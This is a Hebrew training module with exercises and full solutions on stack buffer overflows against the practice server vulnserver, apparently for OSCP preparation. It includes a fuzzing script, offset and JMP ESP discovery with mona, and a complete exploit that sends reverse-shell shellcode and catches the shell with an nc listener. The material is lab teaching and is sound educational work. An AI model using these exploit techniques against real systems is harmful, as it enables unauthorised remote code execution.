

מודול 10 — Buffer Overflow —

תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 10: גלישת חוצץ (Buffer Overflow)

2.  פתרונות מלאים — מודול 10: גלישת חוצץ

🎯 תרגילים — מודול 10: גלישת חוצץ (Buffer Overflow)

⚠️ רק על סביבת תרגול חוקית — vulnserver במעבדה שלך, או חדר "Buffer Overflow Prep" ב-[TryHackMe](#). לעולם לא על תוכנה/שרת אמיתי. פתרונות ב-[solutions.md](#).

מקרא רמות: ● קל · ● בינוני · ● מתקדם · ● אתגר

חלק א' — הבנת המבנה (●)

10.1 — הסבר במילים שלך מה תפקידם של **EIP** ו-**ESP**. מדוע EIP הוא המטרה של תוקף BOF?

10.2 — צייר (או תאר) את מבנה ה-Stack **לפני** ו**אחרי** גלישת חוצץ. סמן היכן נדרס ה-EIP.

10.3 — הקם את vulnserver על מכונת Windows והתחבר אליו מ-Kali עם nc. הרץ `HELP` ורשום 3 פקודות זמינות.

חלק ב' — Offset-1 Fuzzing (●)

10.4 — כתוב סקריפט Python ל-**Fuzzing** של הפקודה `TRUN` שמעלה את הקלט ב-100 בתים בכל סבב. באיזה גודל התוכנה קרסה?

10.5 — צור **דפוס ייחודי** עם `msf-pattern_create`, שלח אותו, וקרא את הערך שנדרס ב-EIP. השתמש ב-`msf-pattern_offset` כדי למצוא את ה-**Offset** המדויק.

10.6 — אמת את ה-Offset: שלח `A × 4 × B + offset`. מה מציג EIP ב-Immunity? מדוע `42424242`?

חלק ג' — JMP ESP ו-Bad Chars (●)

10.7 — שלח את כל 255 הבתים אחרי ה-EIP והשתמש ב-mona (`compare + bytearray`) כדי לזהות אילו **Bad Characters** קיימים ב-vulnserver.

10.8 — הרץ `!mona modules` ובחר מודול מתאים ל-JMP ESP. אילו קריטריונים בדקת (ASLR/Rebase/SafeSEH)?

10.9 — מצא את כתובת ה-JMP ESP עם `!mona find -s "\xff\xe4"`. כתוב אותה בפורמט **Little-Endian** כפי שתופיע בקוד.

אתגר מסכם — “Exploit מלא מקצה לקצה”

בנה **Exploit עובד** ל- `vulnserver` (פקודת `TRUN`) שמעניק לך **Reverse Shell**:

1. **בצע את כל 7 השלבים** בסדר: `Fuzz` → `Offset` → `EIP` → `Bad Chars` → `JMP ESP` → `Shellcode`.
2. צור `Shellcode` של `windows/shell_reverse_tcp` עם `msfvenom`, תוך **החרגת הבתים הרעים** שמצאת.
3. הרכב את ה-Payload: `Shellcode` + `NOP sled` + `JMP ESP` + `Axoffset`.
4. הקם מאזין (`nc -lvp 4444`), הרץ את ה-Exploit, וקבל **Shell**. הרץ `whoami` להוכחה.
5. **תעד** את התהליך: כל שלב, הערכים שמצאת (`offset`, `bad chars`), כתובת `JMP ESP`, וצילום ה-Shell.

🔥 זהו בדיוק תרגיל ה-Buffer Overflow של OSCP. אם השלמת אותו לבד — אתה מוכן לחלק ה-BOF בבחינה.

רשימת בקרה — לפני מעבר למודול 11

- ☐ אני מבין את תפקיד `EIP/ESP` ומבנה ה-Stack ב-Overflow.
- ☐ אני מבצע `Fuzzing` ומוצא את טווח הקריסה.
- ☐ אני מוצא `Offset` מדויק עם `pattern_create/offset`.
- ☐ אני משיג שליטה מלאה ב-`EIP (42424242)`.
- ☐ אני מזהה `Bad Characters` עם `mona`.
- ☐ אני מוצא כתובת `JMP ESP` וכותב אותה ב-Little-Endian.
- ☐ אני מייצר `Shellcode` עם `msfvenom` ומקבל `Shell`.

פתרונות מלאים: `solutions.md`

פתרונות מלאים — מודול 10: גלישת חוצץ

נסה לבד ב- `missions.md` קודם. כל הפעולות על `vulnserver` בסביבת תרגול חוקית בלבד.

חלק א' — הבנת המבנה

10.1 — **EIP** מצביע על ההוראה הבאה שהמעבד יריץ; **ESP** מצביע על ראש ה-Stack. EIP הוא המטרה כי מי ששולט בו **קובע לאן יקפוץ הביצוע** — אפשר להפנות אותו לקוד של התוקף (Shellcode).

10.2 — לפני: `[Buffer][Saved EBP][Return/EIP]`. אחרי גלישה: הקלט הארוך ממלא את ה-Buffer, דורס את ה-EBP, וממשיך לדרוס את כתובת החזרה (**EIP**) — שם נשתול את הכתובת שלנו.

10.3

```
nc <windows-ip> 9999
HELP
# פקודות: STATS, RTIME, LTIME, SRUN, TRUN, GMON, GDOG, KSTET, GTER, HTER, LTER, KSTAN
```

חלק ב' — Offset-1 Fuzzing

10.4

```
#!/usr/bin/python3
import socket, time, sys
ip, port = "192.168.1.50", 9999
buf = "A" * 100
while True:
    try:
        s = socket.socket(); s.connect((ip, port))
        s.send(("TRUN /./" + buf).encode()); s.close()
        print("Sent %d bytes" % len(buf)); buf += "A"*100; time.sleep(1)
    except:
        print("Crashed at %d" % len(buf)); sys.exit()
```

לרוב קורס סביב **2100–2000 בתיים**.

10.5

```
msf-pattern_create -l 3000          # בסקריפט, שולחים A-מדביקים במקום ה
# למשל F4337 ל-Immunity, 386 EIP קוראים את
msf-pattern_offset -l 3000 -q 386F4337
# [*] Exact match at offset 2003
```

10.6 — שולחים `b"A"*2003 + b"B"*4`. ה-EIP מציג **42424242** כי `B = 0x42` ב-ASCII, וארבעת ה-B נכנסו בדיוק למיקום ה-EIP → **הוכחת שליטה**.

חלק ג' — JMP ESP-1 Bad Chars

10.7 — שולחים `\xff ... \x01` אחרי ה-EIP.

```
!mona bytearray -b "\x00"          ← יוצר מערך התייחסות
# ואז, payload-שולחים את ה
!mona compare -f C:\mona\bytearray.bin -a <ESP כתובת>
```

ב-vulnserver לרוב רק `\x00` הוא Bad Char.

10.8

```
!mona modules
```

בוחרים מודול עם **הכול** (Rebase, SafeSEH, ASLR, NXCompat) **False** — כדי שהכתובת תהיה קבועה וללא הגנות. ב-vulnserver זהו `essfunc.dll`.

10.9

```
!mona find -s "\xff\xe4" -m essfunc.dll
# 0x625011af מחזיר למשל 0
```

בקוד, ב-Little-Endian:

```
eip = b"\xaf\x11\x50\x62"
```

```
#!/usr/bin/python3
import socket

ip, port = "192.168.1.50", 9999
offset = 2003
eip = b"\xaf\x11\x50\x62"          # JMP ESP מתוך essfunc.dll
nops = b"\x90" * 16

# msfvenom -p windows/shell_reverse_tcp LHOST=<kali> LPORT=4444 \
#      EXITFUNC=thread -b "\x00" -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89..." # (מקוצר)

buffer = b"A"*offset + eip + nops + shellcode
s = socket.socket()
s.connect((ip, port))
s.send(b"TRUN ./." + buffer)
s.close()
```

```
# מאזין - (Kali) טרמינל 1:
nc -lvnp 4444
# Exploit-טרמינל 2 - הרצת ה:
python3 exploit.py
# ← 1 בטרמינל: C:\> whoami → Shell! 🎉
```

מבנה ה-Payload להזכיר: `A×2003` → `JMP ESP` → `NOP sled` → `Shellcode`.

עברת? כתבת BOF Exploit מלא בעצמך — זו אבן דרך אמיתית. המשך למודול 11.